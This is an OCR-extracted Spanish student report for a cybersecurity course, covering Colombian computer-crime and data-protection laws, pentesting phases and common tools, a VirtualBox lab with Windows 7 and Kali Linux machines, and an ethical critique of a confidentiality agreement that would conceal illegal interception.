HURTO POR MEDIOS Este articulo es un item para el Articulo 2691 de la ley 1273 de
INFORMATICOS articulo 239 del codigo penal 2009, Ley de

colombiano, donde especifica Delitos informaticos en

las propiedades del delito de Colombia

hurto con el agregado que este

articulo el cual especifica que

es sobre algun sistema

informatico, o suplante a un

usuario ante los mecanismos

de autenticacién y autorizacion

gue estén establecidos, tendra

una sancién que se contempla

en el articulo 240 del cédigo

penal.
TRANSFERENCIA NO Aplica a los individuos que, Articulo 269J de la ley 1273 de
CONSENTIDA DE ACTIVOS  aprovechando el conocimiento 2009, Ley de

de algun tipo de tactica o Delitos informaticos en

manipulaciébn de un sistema Colombia
informatico, logre transferir
algin tipo de activo
perjudicando a una tercera
persona Yy consiga alguna
especie de lucro. Sienlaley no
existe una sancion o existen
agravantes deberd pagar una
condena de prisién de 48 a 120
meses y en multa de 200 a
1500 SMLMV, también aplica
para quien suministre, venda
introduzca o] fabrique
programas de computacion
gue se use para la comision de
un delito de las caracteristicas
del inciso anterior.

Como ha pasado en casos muy conocidos, han alterado péaginas de bancos,
entidades del Estado o paginas de caracter publico. Todo esto a través de muchas
modalidades como el Phishing en correos electronicos o creando paginas
fraudulentas a bancos.

6.1.1.2 Ley 1581 de 2012

La ley 1581 fue creada el 17 de Octubre de 2012 y tienen como finalidad
de otorgar el derecho constitucional de cada persona de saber, actualizar,
corregir todo tipo de informacién personal que se ha recogido en cualquier
sistema de informacion (bases de datos o archivos) y que sean aplicables
para ser tratados por cualquier tipo de entidad ya sea publica o privada
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en el territorio colombiano y/o fuera de él siempre que esta ley sea
aplicable en virtud de normas y tratados internacionales a que haya lugar.

Los principios que aplican esta ley son:

e Legalidad: Siempre que se haga tratamiento de datos personales, se deben
realizar bajo lo establecido en esta ley

e Finalidad: Se debe realizar un tratamiento legitimo de los datos y ser
informada al titular de estos datos

e Libertad: Solo se puede realizar el tratamiento de estos datos con previa
autorizacion del titular

e Veracidad o calidad: Esta informacion a tratar debe ser precisa, veraz,
completa, actualizada, comprensible y comprobable

e Transparencia: Se debe garantizar la transparencia para que el titular pueda
obtener dicha informacion

e Acceso y circulacién restringida: Debe estar sujeta a limites derivados de
los datos personales dispuestos en la constitucion y esta ley donde no podra
estar en internet u otros medios de divulgacion masiva

e Seguridad: Se debe tener un tratamiento donde se garantice que estos datos
estén seguros empleando todas las medidas posibles como técnicas,
humanas y administrativas

e Confidencialidad: Se debe garantizar la reserva de la esta informacion por
parte de cada persona que haga parte del proceso de tratamiento de estos
datos

6.1.1.3 Decreto 1377 de 2013

Este decreto tiene como objeto el reglamentar de manera parcial la ley
1581 de 2012 para asi dar claridad a las empresas sobre los aspectos
importantes para la proteccion de datos personales y/o sensibles.

6.1.1.4 Ley 1266 de 2008

Esta ley regula el uso y la administracion de las bases de datos para evitar
que se dé la informacién contemplada en estas bases y esta no dafie el
buen nombre comercial y crediticio de las personas naturales. También
conocida como la ley de Habeas Data, es una accion constitucional que
permite a cualquier persona saber, actualizar, corregir todo tipo de
informacion personal que se ha recogido en cualquier sistema de
informacion (bases de datos o archivos) y que sean aplicables para ser
tratados por cualquier tipo de entidad ya sea publica o privada.
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6.1.2 En el mundo de la ciberseguridad existen procesos definidos para
poder ejecutar de forma organizada lo que se conoce como pruebas
de penetracion o pentesting; usted como futuro experto debera
redactar con sus palabras y definir cada una de las etapas del
pentesting, dentro de la definicion incorporara un ejemplo de una
herramienta que se utilice para cada una de las etapas del pentesting.

Para poder ejecutar un pentesting es importante definir desde el principio la
metodologia que logre cubrir las necesidades de la organizacion a auditar, sin
embargo, estas metodologias pueden ser estdndar o se puede seguir un esquema
propio siempre y cuando cumpla con los objetivos de realizar el pentesting. Para
esto hay metodologias muy conocidas en el campo del pentesting, una de ellas es
la OSSTMM (Open Source Security Testing Methodology Manual) del Instituto para
la Seguridad y las Metodologias Abiertas (ISECOM). Existe también la OWASP
(Open Web Application Security Project) enfocada en auditoria a paginas y
aplicaciones web y por dultimo esta ISSAF (Information Systems Security
Assessment Framework).

Como se menciond anteriormente, la metodologia influye en el proceso de
pentesting, cada metodologia usa sus propios pasos para realizar un pestesting
donde algunos ejecutan mas procesos gue otras o hay mas fases. Por eso se toman
algunos de los pasos fundamentales para un pestesting que la mayoria de las
metodologias comparten y se describen a continuacion:

e Fase de Recoleccién de Informacion: En esta se empieza con la
recoleccion de toda la informacién, es muy importante ya que de esa
informacién se comenzara un proceso que dispondra en su totalidad de esta
informacion. Estos datos van desde la razén de la empresa, su core 0 nlcleo
de negocios y hasta la conformacion de la empresa. Todo esto a través de
una recoleccién pasiva de informacion para que no haya interaccion directa
con los activos tecnoldgicos que se auditan, todo esto a través de consultas
publicas en internet sobre el objetivo.

Herramientas: Se puede hacer uso de Google, ya que este buscador permite
agregar parametros mas especificos como busqueda de puertos

e Fase de Enumeracion: Similar a la fase de recoleccion con la diferencia que
ya se puede hacer contacto con los activos tecnolégicos, haciendo pruebas
de intrusion con herramientas que sean para pentesting. Aqui quedaran
identificados los objetivos a través de multiples pruebas dependiendo del
area a auditar (escaneo de puertos, identificacion de servicios, sistemas
operativos, etc.).
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Herramientas: Entre las herramientas mas utilizadas por los pentesters se
tiene NMAP, el cual permite enviar paquetes que permiten revelar
informacion sobre una direccion IP especifica como puertos abiertos vy
cerrados y con esto identificar la aplicacion o servicio que suministra.

Fase de andlisis: Existe ya una interaccién con los activos tecnoldgicos
donde por medio de algunos ataques se busque explotar una vulnerabilidad
comprometiendo activamente al servicio, equipo, o dispositivo. Para esto es
necesario que el analista cuente con los permisos por parte de la empresa
para hacer estos ataques para realizar este andlisis. Esto se logra usando la
informacion recolectada en las fases anteriores para asi poder ejecutar los
escéneres de vulnerabilidades que permitirdn evidenciar los puntos débiles
de los medios analizados.

Herramientas: Una herramienta que permite analizar los objetivos de ataque
es Nikto2, la cual permite verificar cuando un sistema operativo no esta
actualizado o archivos de configuracion por defecto.

Fase de Explotacion: Como su nombre lo indica, en este punto los ataques
ya son intrusivos y directos y van a un objetivo especifico, para esto es
necesario en algunos casos el uso de exploits ejecutados desde frameworks.
Aqui se ejecutan ataques comunes como son fuerza bruta, cracking
passwords, captura de paquetes de red, ingenieria social, ejecucién de
exploits conocidos, ataques DoS, pivoting, escalada de privilegios, etc.

Herramientas: Para esta fase se puede utilizar una herramienta comun
como Metasploit, la cual permite explotar estas vulnerabilidades ya que
cuenta con una libreria extensa de vulnerabilidades explotables para muchos
de los sistemas operativos y servicios.

Fase de Documentacion: Es la culminacién después de ejecutadas las
demas fases, obteniendo los resultados de los andlisis y plasmandolos en un
documento detallando los procesos realizados durante el pentest. En este
documento es importante el plasmar las medidas de prevenciéon que se
sugieren para evitar que la empresa sea victima de algun tipo de ataque
reales a los que se ve expuesta.

El objetivo de esta fase es que se exponga a las personas encargadas y
responsables de TI los resultados obtenidos a través de la labor realizada y
que fallas y vulnerabilidades se han detectado con este pentest, donde se
deben dejar en dos tipos de informes (técnico y ejecutivo).

El informe técnico es aquel que se explica en lenguaje detallado y técnico
todas las actividades realizadas describiendo herramientas utilizadas y los
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6.1.3

resultados que se obtuvieron con esto y que se debe hacer para mitigar y
resolver las fallas encontradas.

El informe ejecutivo por su parte es un resumen mas ligero donde se explique
gué vulnerabilidades se han encontrado suprimiendo el lenguaje técnico por
completo. Este debe ser explicado de una forma de facil comprension para
cualquier persona que no trabaje en Tl, pero explique los riesgos que existen
actualmente en la organizacion, pero que explique detalladamente las
recomendaciones que el profesional de seguridad informatica debe listar.

Herramientas: Una herramienta que se incluye en el catadlogo de Kali Linux
es Magic Tree, la cual consolida toda la informacién de un pentesting
realizado y la muestra en un esquema de arbol.

Las herramientas de ciberseguridad son de vital importancia, ademas
gue existe un gran abanico de posibilidades de herramientas
existentes y software especializado para desarrollar herramientas
propias. Usted como futuro experto debe definir y explicar las
siguientes herramientas:

Herramientas:

Metasploit: A través de esta herramienta que se conoce tanto a nivel de
seguridad como de los criminales informéticos para detectar y auditar las
vulnerabilidades de un sistema, todo a través de comandos cortos y de
funciones ya grabadas.

Para el caso de Windows, Metasploit cuenta con multiples tipos de ataques
para explotar vulnerabilidades conocidas de Windows en muchas de sus
versiones y que permite que se realicen los procesos necesarios para mitigar
los riesgos. Una de esas herramientas permite realizar ataques de elevacion
de privilegios. La elevacién de privilegios permite proporcionar permisos a un
usuario que no los tiene inicialmente, en este caso se puede por medio de un
payload llamado Meterpreter, el cual es un tipo de troyano que se carga en
memoria lo cual le permite ocultarse y en este se definiran los pardmetros de
ataque.

Nmap: Es una herramienta open source y de codigo abierto que nos permite
escanear y rastrear el estado de los puertos de una red entera o de una
direccion IP especifica. Ademas de permitir identificar el sistema operativo y
en un nivel avanzado, encontrar vulnerabilidades con el fin de realizar una
auditoria de red o en casos de los cibercriminales realizar un ataque dirigido.
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OpenVas: Esta herramienta open source y de software libre bajo la licencia
GNU. Al igual que Nessus este compone de herramientas que ayudan
identificar vulnerabilidades por medio de escaneo de seguridad de red,
contiene una interfaz grafica de usuario e integra aplicaciones de seguridad.
Open Vas contiene un servidor y un cliente que se conecta a este permitiendo
detectar seguridad en los sistemas por medio del cliente (NVT). Openvas
también maneja lenguaje NASL, y tiene cerca de 17000 modulos de
comprobacion de seguridad.

Openvas cuentas con los siguientes servicios y utilidades:

- Supervision de servicios de red

- Escaneo de puertos abiertos

- Deteccion de sistema operativo (hardware)

- Interfaz grafica para conectarse con varios agentes
- Los agentes cuentan con desplazamiento

- IDS

- Escaneo de multiples redes remotas

- Guardado de estado red

- No necesita privilegios de root

Servicios en linea:

ExploitDB: Es una base de datos web donde es almacenado un repositorio
de exploits gratuitos para realizar practicas de laboratorio o como pruebas de
penetracion sobre vulnerabilidades encontradas. El objetivo de esta web es
la poner al alcance y con fines netamente educativos o de ayuda para la
investigacion y deteccion de vulnerabilidades de cualquier sistema operativo
investigado soportando plataformas Windows, UNIX, Linux, etc.

CVE: Una plataforma en linea muy conocida en el mundo de la
ciberseguridad, ya que proporciona un listado casi ilimitado de
vulnerabilidades que han sido detectadas por diferentes entidades y hackers
éticos sin fines de lucro y que ponen en conocimiento publico con el objetivo
de prevenir que sean explotadas. Esta plataforma usa una nomenclatura que
facilita su identificacion y cuenta con las respectivas caracteristicas, asi como
la solucién que puede ser una actualizacion, una linea de comando, parches
de seguridad, etc. Cada una de estas vulnerabilidades, debe ser pasada por
una revision especifica del grupo de CVE para garantizar que esta
informacion sea constantemente actualizada y asi pueda ser publicada.
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6.1.4 Parafinalizar esta actividad es importante que usted reconozca,
analice y configure “banco de trabajo” lo solicitado en el anexo 1 —
Escenario 1 sobre el cual debera trabajar actividades que contienen un
alto grado de tecnicidad. Lo solicitado en el anexo 1 — escenario 1 es
lo siguiente:

e Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su Gltima

version.
llustracion 1 Descarga VirtualBox

DoMja!tiHaﬁ!'xBox e —

Here yo ] inac

VirtualBox binaries

VirtualBox 6.1.26 platform packages e to the Oracle VM
Box 6.1.26 Setup

VirtualBox 6.1.26 Oracle VM VirtualBox Extension Pack

Software Developer Kit (SDK)

User Manual

Fuente: Propia
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llustracion 2 Instalacién completa de VirtualBox

¥ Oracle VM VirtualBox Administrador — O X

i Archive Maquina Ayuda

Y eramiens el G R G ar

Preferencias  Importar Exportar  Nueva Afadi
iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista de
todas las maquinas virtuales y grupos de maquinas virtusles en su computadora.
Puede importar, afiadir v crear nuevas Mvs usando los botones correspondientes de
la barra de herramientas. Puede abrir un «popups del elemento seleccionado
actualmente usando el botdn de elemento correspondiente. Puede presionar la teda
F1 para obtener ayuda instantdnea o visitar www.virtualbox.org para mas
informadidn y las Ultimas noticias.

Fuente: Propia

Paso B: Una vez se realice apertura del foro para el desarrollo de la
actividad se procedera a compartir enlace de descarga de lo requerido
para el montaje del banco de trabajo, las imagenes en formato. OVA las
cuales se encuentran ya preconfiguradas para ser utilizadas en las
actividades de caracter técnico. En las iméagenes. OVA existe: Un
Windows 7 X86, un Windows 7 X64, un Kali Linux.
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llustracion 3 Instalacion Maquina Windows 7 64Bits

€ Importar servicio virtualizado

Preferencias de servicio

Estas son las méquinas virtuales contenidas en el servicio y las preferencias sugeridas de las maquinas virtuzles importadas de VirtualBox. Puede cambiar varias de las
propiedades mostradas haciendo doble cic en los elemenos y deshabiltar otras usando Iss casilas de verificaion de abajo.

Sistema virtual 1
5 Nombre Win7-SE2020-X64
EH Tipo de 50 invitado & Windows 7 (64-bit)
@ cru 1
& ram 4096 MB
@ ow
(5 Controlader USB
({0 Tarjeta de sonido
& Adaptador de red

~ & Controlador de almacenar

3% Impertando servicio virtualizado ..; Importing appliance 'DAAUsuarios\JAl..

Importing virtual disk image 'Win7-SE2020-X64-isk00 Lvmdk ... (2/3)
1 % X

Tiempo restante: 12 minutos

Imagen de disco virtua

Carpeta base

Grupo primario JESISeg. DB

Carpeta base de maquina; D: suarios JAIR WirtualBox VMs

Politica de direccion MAC: | Induir solo las direcciones NAT de adaptador de red

Opdiones adicionales: Importar discos como VDI

Servicio virtualizado no firmado

Restaurar valores predeterminados| | Importar

Fuente: Propia

Cancelar

fes y una lsta de

iU computadora.
forrespondientes de
seleccionado

e presionar la tecla
3 pera mas

5 install the whole thing, you also access it here:

llustracion 4 Instalacién Maquina Windows 7 32 Bits

€ Importar servicio virtualizado

Preferencias de servicio

Estas son las maquinas virtusles contenidas en el servicio y las preferencias sugeridas de las maquinas virtuales importadas de VirtualBox. Puede cambiar varias de las
propiedades mostradas haciendo doble cic en los elemenos y deshabiltar otras usando las casilas de verficaion de abajo.

Sistena virtual 1
€% Nombre Win7-SE2020-X64
EH Tipo de SO invitado i Windows 7 (64-bit)
@ cru 1
& ram 4096 MB
® ovo
(9 Controlador USB
([0 Tarjeta de sonide

Importando servicio virtualizado ... Importing appliance D:\UsuariosuAl..

&P Adaptador de red
Importing virtual disk image Win7-SE2020-X64-disk00 LvmdK ... (2/3)

I E

Tiempo restante: 12 minutos

<

& Controlador de almacenar

Imagen de disco virtua

Carpeta base

& Grupo primario JESI'Seg DB

Carpeta base de mdquina: D:\usuariosJAIR WirtualBox VMs

Politica de direccién MAC: | Induir solo las direcdones NAT de adaptador de red

Opciones adiconales: [4] Importar discos como VDI

Servido virtualizado no firmade

Restaurar valores predeterminados | Importar Cancelar

Fuente: Propia
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llustracién 5 Instalacion Kali Linux

d
¥ Importando servicio virtualizado ... Imperting appliance ‘Di/Usuarios/JAIR/Documents/ES...

™\ Importing virtual disk mage Kali-Lnux-2021. 2-virtualbox -amds4-disko0 LymK .. (2/3)

I 2% X
Tiempo restante: 6 minutos

Importar servicio virtualizado

Preferencias de servicio

Estas son las méquinas virtuales contenidas en el servicio y las preferendas sugeridas de las méquinas virtuales importadas de VirtualBox.
Puede cambiar varias de las propiedades mostradas haciendo doble clic en los elemenos y deshabiltar otras usando las casilas de verificain
de abajo.

@ Version Rolling (2021.2) x64 @

@ Descripcién Kali Rolling (2021.2) x64.

B Tipo de 50 invitado [l Debian (54-hit)

1 cru 2

& ram 2048 MB

@ pvp

(9 Controlador USB

({0 Tarjeta de sonido &1ICH ACST v
Carpeta base de maquina: | || D:\Usuarios UAIR WirtualBox WMs v
Politica de direccién MAC: | Induir solo las direcdones NAT de adaptador de red M

Opciones adicionales: 7] Importar discos como VDT

Servicio virtualizado no firmado

Restaurar valores predeterminados|  Importar Cancelar

Fuente: Propia

e Paso C: Debe validar que exista comunicacion entre cada una de las
maquinas Windows con la maquina de Kali Linux, recuerde por favor no
encender las tres maquinas al tiempo ya que puede colapsar los recursos
hardware de su equipo host, encienda primero una maquina Windows y
posterior a ello encienda la maquina Kali Linux.

Se verifica el direccionamiento IP de la maquina con Kali Linux
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llustracién 6 Direcciéon IP Kali Linux

| v"EmP D ) root@kali: /home/kali

x

Archivo Acciones Editar Vista Ayuda

® /home/kali

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.6 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe@e:348d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)
RX packets 140 bytes 19882 (19.4 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 18 bytes 2414 (2.3 KiB)
TX errors ® dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions 0@

/home/kali

Fuente: Propia

Se verifica el equipo Windows 7 de 64 Bits la direccion IP y si responde a ping el
equipo con Kali Linux
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llustracion 7 Evidencia Ping Windows 7 64 Bits

Fuente: Propia

También se observa respuesta de ping desde el equipo con Windows 7 32 Bits

Papelera de
reciclaje

9

Firefox

llustracion 8 Respuesta a ping equipo Windows 7 32 Bits

B C:\Windows\system32\cmd.exe

Uinculo: direccion IPub local.
Direccién IP: 5

Miscara de subred . .

Puerta de enlace predeterminada

Adapta®r de tdnel isatap.Coshi

Estado de los medios. . i desconectados
Sufijo DNS especifico para la conexidn. i

IC:\Users\usuariodping 10.0.2.6

Haciendo ping a 18.0.2.6 con 32 bytes de datos:
Respuesta bytes=32 tiempo<im TTL=64
Respuesta desde z i

Respuesta desde {m TT
Respuesta desde hyter32 tiempo<im TT

Estadisticas de ping para 16.8.2.6:
enviados = 4, ¥ dos = 4, perdidos = @

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = @ms, Maximo = @ms, Media = Bms

IC:\Users\usuario>

C @ ES () i

Fuente: Propia
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e Paso D: Evidenciar con printscreen el montaje del banco de trabajo y
explicar como se encuentra desplegado “caracteristicas técnicas de
hardware”.

llustraciéon 9 Hardware Windows 7 64 Bits

T p— G & oD

Nueva Configuracién Descartar Mostrar

- ESISeg.DB =] General
Nombre: Win7-SE2020-X64
Sistema operativo:  Windows 7 (64-bit)
Grupos: ESI Seg. DB
[ sistema
winZ-SE2020 Memoria base: 4096 VB
& Comendo Orden de arranque: ~ Optica, Disco duro
Aceleracion: T-x/AMD-V, Paginacion anidada, Paravirtualizacidn Hyper
EE Kali-Linux-2021.2-virtualbox-amd64
£ Corriendo
(™ Pantalla
Memoria de video: 18MB
Controladar grafico: VBOXSVGA
Servidor de escritorio remota:  Inhabilitado
Grabacidn: Inhabilitado
Almacenamiento
Controlador: SATA
Puerto SATA 0:  Win7-SE2020-X64-disk00 L.vdi (Normal, 50,00 GB)
Puerto SATA 1:  [Unidad dptica] Vacio
([0 Audio
Controlador de anfitrién:  Windows DirectSound
Controlador: Audio Intel HD
& Red
Adaptador 1:  Intel PRO/1000 MT Desktop (Red NAT, «Nathetworks)
£ use
Controlador USB: oHC1
Fitros de dispositivos: 0 {0 activo)
[C] carpetas compartidas
Ninguno
& Descripcién
Ninguno
[EEIE
GU [18+ Panel de control + Todos los clementos de Panel de control + Sistema ~ [ 43| Buscar en et Panet 2l
Ventana principal del Panel de . PP . 8-
] Ver informacién bésica acerca del equipo
%) Administrador de dispositivos Edicicn de Windows
%) Configuracién de Acceso Windows 7 Professional
Copyright © 2009 Microsoft Corporation. Reservados todos los derechos
1#) Proteccién del sistema Service Pack 1
1) Configuracion avanzada del
sistema
Sistema
Evaluacién: ") Evaluacién de Is experiencia en Windows £
Procesador: 11th Gen Intel(R) Core(TM) i5-11400 @ 260GHz 2.59 GHz
Memoria instalada (RAM): 4,00 GB
Tipo de sistema Sistema operativo de 64 bits
Lapiz y entrada tactil: La entrada tactil o manuscrita no est disponible para esta pantalla
Configuracion de nombre, dominio y grupo de trabajo del equipo
Nombre de equipo: PC202006 & Cambiar
Nombre completo de PC202006 configurscien
Vea también equipo:
Centro de actividades Descripcion del equipo:
Windows Update Grupo de trabajo: WORKGROUP
Informacién y herramientas de . . |
rendimiento Activacién de Windows
. 3 dias para la activacién automatica. Active Windows ahora. -

B - o o m[#E] :

Fuente: Propia
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Memoria base: 4096 MB
Procesadores: 4 .
> Orden de arranque:  Disquete, Opiica, Disco duro
Aceleracion: VT-x/AMD-V, Paginacién anidada, Paravirtualizacion Hyper-V

l?- Kali-Linux-2021.2-virtualbox-amd64
B & comendo

llustraciéon 11 Hardware Windows 7 32 Bits

@ b

Nueva Configuradidn Descartar  Mostrar

=] General

Nombre: win7-SE2020
Sistema operativo:  Windows 7 (64-bif)
[&] sistema

[®] Pantalla

Memoria de video: 128MB
Controlador grafico: VBOXSVGA
Servidor de escrtorio remoto: - Inhabiltado
Grabacén: Inhabiitado

Almacenamiento

Controlador: SATA
Puerto SATA0:  win7-5E2020-cisk00 Lvdi (Normal, 50,00 GB)

W Audio

Controladior de anfitrién:  Windows DirectSound

Controladr: Audio Intel HD

& Red

Adaptador 1: Intel PRO/1000 MT Desktop (Red NAT, shiatiietwork»)
& uss

Controlador USB: oHr
Fitros de dispositivos: 0 {0 activo)

[T Carpetas compartidas
Nnguno
@ pescripcién

Ninguno

Fuente: Propia

llustracién 12 Caracteristicas Windows 7 64 Bits (Propiedades)

O()vhu;l v Panel de control » Sistemay seguridad » Sistema

Ventana principal del Panel de
control

®) Administrador de dispositives

"] g ?ﬁgura:ién de Acceso

rémoto

) Proteccion del sistema

&) Configuracién avanzada del
sistema

Vea también
Centro de actividades
Windows Update

Informacign y herramientas de
rendimiento

Ver informacian basica acerca del equipo

Edicién de Windows
Windows 7 Home Premium
Copyright © 2002 Microsoft Corperation, Reservados todos los derechos,

Obtener més caracteristicas con una nueva edicién de Windows 7

Sistema
Evaluacién: La evaluacion del sistema no estd disponible
Procesador: 11th Gen Intel(R) Core(Th] i5-11400 @ 2.80GHz 2.5 GHz

Memoria instalada (RAM): 3,50 GB
Tipo de sistema: Sistema operative de 32 bits

Lépiz y entrada tactil: La entrada tactil o manuscrita no estd disponible para estz pantalla

Cenfiguracion de nembre, dominic y grupe de trabaje del equipo

Mombre de equipo: win?
Mombre completo de win?
equipo:

Descripcion del equipo:

Grupo de trabajo: WORKGROUP

Activacién de Windows
Windows esté activade

Id. del producto: 00353-0EM-8392687-00006

-4 |

Fuente: Propia
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llustracion 13 Caracteristicas Kali Linux

[ p—

\_/ ESISeq.DB

Win7-SE2020-X64
& Corriendo

win7-SE2020
) Corriendo

9 .

Mostrar

e
Configuracén
[® General

Nombre:
Sistema operativo:

] sistema

Mueva

Kali-linux-2021.2-virtualbox-amd64
Debian (64-bit)

Memoria base:
Procesadores:
Orden de arranque:
Aceleracn:

2048 B

Disco duro, Gptica

llustracion 14 CPU y Memoria RAM Kali Linux

Editar
/home/kali

Archivo Acciones
®

Architecture:

CPU op-mode(s):
Byte Order:

Address sizes:
CPU(s):

On-line CPU(s) list:
Thread(s) per core:
Core(s) per socket:
Socket(s):

NUMA node(s):
Vendor ID:

CPU family:

Model:
Model name:

Steppin

CPU MHz:

BogoMIP

Hypervisor vendor:
Virtualization type:

L1ld cache:

L1i cache:

L2 cache:

L3 cach

NUMA node® CPU(s):
Vulnerability Itlb multihit:
Vulnerability L1tf:
Vulnerability Mds:
Vulnerability Meltdown:
Vulnerability Spec store bypass
Vulnerability Spectre vi:

Vulnerability Spectre v2:
Vulnerability Srbds:

Vulnerability Tsx async abort:
Flags:

/home/kali

total used
2030336 480488
998396 0

(M pantalla

Memoria de videot 1288
Controlador rifico VMSVGA
Servidor de escritorio remoto:  Inhabiitado
Grabaditn: Inhabiitado

Almacenamiento

Controlador: IDE
IDE secundario maestro:
Conirolador: SATA
Puerto SATA 0:
{0 Audio

Controlador de anfitridn:
Controlador:

=& Red
Adaptador 1:
& uss

Controlador USB:
Filtros de dispositivos:

[Unidad dptical Vacia

Windows Directsound
ICH ACS7

cl
0 (0 activo)

Fuente: Propia

Vista Ayuda

X86_64

32-bit, 64-bit

Little Endian

39 bits physical, 48 bits virtual
2

%

enuineIntel

167
11th Gen Intel(R) Core(TM) i5-11400 @ 2.60GH
z

T
2592.004
5184.00
KVM

full

96 KiB
64 KiB

1 MiB
24 MiB
0,1
Not
Not

affected
affected
Not affected
Not affected
Vulnerable
Mitigation;
ser pointer
Mitigation;
sabled, RSB
Not affected
Not affected
fpu vme de pse tsc msr pae mce cx8 apic sep
mtrr pge mca cmov pat pse36 clflush mmx fxsr
sse sse2 ht syscall nx rdtscp lm constant_t
sc rep_good nopl xtopology nonstop_tsc cpuid
tsc_known_freq pni pclmulgdq ssse3 cx16 pci
d sse4_1 e4_2 x2apic movbe popcnt aes xsav
vx rdrand hypervisor lahf_lm abm 3dnowpre
fetch invpcid_single fsgsbase avx2 invpcid r
dseed clflushopt md_clear flush_l1d arch_cap
abilities

us:

rcopy/swapgs barriers and __u
sanitization

Full generic retpoline, STIBP di
filling

shared
17652

free
1152876
998396

Fuente:
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6.2 ETAPA 2 - ACTUACION ETICA Y LEGAL

6.2.1 ¢Unavezleido el anexo 2 —escenario 2y el anexo 3 — Acuerdo usted
logra evidenciar algun proceso ilegal y no ético que se esté
estipulando en dicho acuerdo? Debera argumentar su respuestay
sefalar los fragmentos ilegales del anexo acuerdo en caso de existir
alguna irregularidad.

Fragmento del acuerdo
Consideraciones

1. Que la informacién compartida en virtud del presente acuerdo pertenece a
Whitehouse Security, y la misma es considerada sensible y de caracter
restringido en su divulgacion, manejo y utilizacion. Dicha informacion es
compartida en virtud del proceso de seleccidén de personal.

2. Que la informacion de propiedad de Whitehouse Security
Whitehouse Security ha sido desarrollada u obtenido legalmente,
como resultado de sus procesos, programas O proyectos y, en
consecuencias abarca documentos, datos, tecnologia y/o
material que considera unico y confidencial, o que es objeto de proteccion a
titulo de secreto industrial.

3. Que el presente acuerdo se realiza por un lado entre la parte
receptora de la informacibn como integrante del proceso de
seleccién de personal, Jairo Orlando Acevedo Jiménez que para el presente
caso actual como revelador, guarda y administrador de Ia
informacion de propiedad de Whitehouse Security.

Andlisis

Como primera medida, la empresa Whitehouse Security esta llevando a cabo un
proceso de contratacion para elegir a su personal que hara parte de los equipos red
Team y red Blue a través de un acuerdo entre los candidatos y la empresa. Este
acuerdo, sin embargo, bajo un punto de vista personal y ético, no es correcto ya que
este acuerdo de entrada compromete de una manera legal y ética al candidato a
custodiar, salvaguardar y proteger informacion antes de incluso firmar dicho acuerdo
porque esta revelando dicha informacién y casi obligando al candidato a recibir esta
informacion antes de firmar el acuerdo. Ademas, utilizan el titulo de secreto
industrial, donde segun la Decision 486 del 2000 por la Comunidad Andina de
Naciones (CAN) a la cual pertenece Colombia, define el Secreto Industrial o
Empresarial a la informacion no divulgada que se posea por cualquier tipo de
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persona (Natural o Juridica) de manera Legitima y/o Legal'!. Esto demuestra que,
la persona que elaboro dicho contrato obvio la explicacion sobre esta definicion a
fin de delimitar dicha definicion y amparar toda la informacion como secreto
industrial.

Fragmento del acuerdo

Primera. Objeto: en virtud del presente acuerdo de
confidencialidad, la parte receptora, se obliga a no divulgar directa,
indirecta, proxima a remotamente, ni a través de ninguna otra persona
o de sus subalternos o funcionarios, autoridades legales, asesores o
cualquier persona relacionada con ella, la informaciéon confidencial
0 sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados.

Andlisis

De acuerdo con lo que considera la persona que redacta el acuerdo, el candidato
no divulgara ante ningun ente externo incluyendo a las autoridades legales sobre
procesos ilegales, es decir que a concepto personal no es nada ético ni profesional
obligar a un candidato a encubrir estas actividades ya que esta contemplado en la
Ley 842 de 2003 del Consejo Profesional Nacional de Ingenieria Copnia Capitulo 11
Articulo 14'2; como una falta disciplinaria sancionable el encubrir un ejercicio ilegal
de la ingenieria.

Fragmento del acuerdo

Segunda. Definicion de informacién confidencial: se entiende
como Informacién Confidencial, para los efectos del presente
acuerdo:

1. La informacibn que no sea publica y sea conocida por la parte
receptora con ocasion del proceso de seleccion de personal.
2.  Cualquier informacion  societaria, técnica, juridica, financiera,

comercial, de mercado, estratégica, de productos, nuevas
tecnologias, patentes, modelos de utlidad, disefios industriales,
datos secretos como “‘datos de chuzadas, interceptacion de

11 | a Decision 486 de 200 en su articulo 260 establece que es un secreto empresarial y define los
casos en que una informacién es susceptible de ser secreto empresarial; estas condiciones son: que
sea secreta, es decir que no sea de facil acceso, que tenga un valor comercial, y, por ultimo, que
haya sido objeto de medidas razonables para proteger su secreto.

12 ARTICULO 14. ENCUBRIMIENTO DEL EJERCICIO ILEGAL DE LA PROFESION. El servidor
publico que, en el ejercicio de su cargo, autorice, facilite, patrocine, encubra o permita el ejercicio
ilegal de la ingenieria o de alguna de sus profesiones afines o auxiliares, incurrirda en falta
disciplinaria, sancionable de acuerdo con las normas legales vigentes.
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informacion, accesos abusivos a sistemas informaticos”.
parte receptora tenga conocimiento o a la que tenga acceso
por cualquier medio o circunstancia en virtud de las reuniones
sostenidas ylo documentos suministrados.
3. La que corresponda o deba considerarse como tal para garantizar
el derecho constitucional a la intimidad, la honra y el buen
nombre de las personas y deba guardarse la debida diligencia en
su discrecion y manejo en el desempefio de sus funciones.

Andlisis

La explicacion de Informacion confidencial concuerda en principio en que es toda
informacion no publica de caracter confidencial. Sin embargo, el concepto se
delimita de lo legal al insinuar que se puede manejar informacion producto de
hechos ilegales y de poca ética como “Chuzadas, accesos abusivos a sistemas
informaticos y/o interceptacion de informacion”. Esto esta contemplado en los
Articulos 269A, 269B y 269C de la Ley 1273 de 2009 sobre Delitos Informéticos en
Colombia y son sancionables con pena de prision y multas.

Fragmento del acuerdo

Tercera. Origen de la informacion confidencial: provendra de
documentos suministrados en el proceso de seleccibn de personal y
que tiene que ver con las creaciones del intelecto, a la naturaleza,
